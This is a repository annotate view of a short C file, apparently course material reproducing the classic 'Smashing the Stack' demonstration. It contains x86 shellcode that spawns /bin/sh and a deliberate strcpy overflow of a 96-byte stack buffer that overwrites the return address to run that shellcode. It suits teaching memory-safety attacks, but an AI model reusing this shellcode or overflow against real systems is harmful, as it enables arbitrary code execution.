author | Christian Urban <christian dot urban at kcl dot ac dot uk> |
Mon, 06 Oct 2014 21:23:31 +0100 | |
changeset 213 | 9c2fa54c7c2d |
parent 200 | 17852f5397fd |
child 222 | 81f9f0eb1180 |
permissions | -rw-r--r-- |
200
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
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1 |
char shellcode[] = |
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
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|
2 |
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" |
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
changeset
|
3 |
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" |
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
changeset
|
4 |
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; |
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
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|
5 |
|
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
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|
6 |
char large_string[128]; |
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
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7 |
|
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
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|
8 |
void main() { |
17852f5397fd
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Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
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9 |
char buffer[96]; |
17852f5397fd
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Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
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int i; |
17852f5397fd
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Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
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|
11 |
long *long_ptr = (long *) large_string; |
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
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|
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|
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
changeset
|
13 |
for (i = 0; i < 32; i++) |
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
changeset
|
14 |
*(long_ptr + i) = (int) buffer; |
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
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|
15 |
|
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
changeset
|
16 |
for (i = 0; i < strlen(shellcode); i++) |
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
changeset
|
17 |
large_string[i] = shellcode[i]; |
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
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|
18 |
|
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff
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|
19 |
strcpy(buffer,large_string); |
17852f5397fd
added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
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|
20 |
} |